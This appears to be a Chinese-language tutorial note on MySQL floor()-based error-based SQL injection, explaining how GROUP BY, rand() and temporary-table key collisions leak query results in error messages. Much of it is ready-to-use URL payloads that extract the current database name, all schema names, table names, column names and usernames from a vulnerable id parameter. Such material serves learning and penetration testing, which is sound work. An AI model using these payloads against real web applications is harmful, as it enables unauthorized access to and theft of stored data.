【Floor报错注入】
Floor报错注入原理
这种攻击的精妙之处在于利用了数据库自身操作(GROUP BY
、RAND()
、临时表)的特性来触发错误。分为以下几点:
构造恶意分组(GROUP BY
):攻击者通过注入语句,构造一个使用 GROUP BY
子句的查询。GROUP BY
的作用是根据一列或多列的值对结果集进行分组。
引入不确定性(RAND()
):分组依据(GROUP BY
后面的列)被精心设计为包含 RAND()
函数。例如 GROUP BY (SELECT ... FROM ... WHERE ...)
最终会指向一个包含 RAND()
的表达式。RAND()
函数的特点是每次调用都会产生一个新的随机值
临时表与主键冲突:数据库引擎在执行 GROUP BY
语句时,为了处理数据,通常会在内部创建一张临时表。临时表需要一个主键(或唯一约束)来确保分组的唯一性。
报错信息泄露数据:当数据库尝试将计算出的分组键值插入临时表时,如果发现该键值已存在(主键重复),就会抛出错误。关键在于,在插入发生之前,用于生成分组键的 CONCAT(...)
或 FLOOR(...)
等函数中的子查询(如 (SELECT DATABASE())
)已经被执行完毕。数据库为了报告详细的错误,会将这个重复的“键”的值包含在错误信息中返回。而这个“键”的值,正是我们恶意查询的执行结果(如数据库名、版本、表数据等)。
报错需要满足的条件:
1.floor()报错注入在MySQL版本8.0已失效,经过测试7.3.4nts也已失效(据说的本人没有实践过)
2.注入语句中查询用到的表内数据必须>=3条
3.需要用到的count(*)、floor()或者ceil()、rand()、group by
爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
#database()可以修改,修改为database version()等
拆解字段意思:
rand(); #生成随机数;
rand(0); #生成种子值,伪随机数,固定
select floor(3.9); #向下取整
count #计数
group by #分组
x #别名
爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23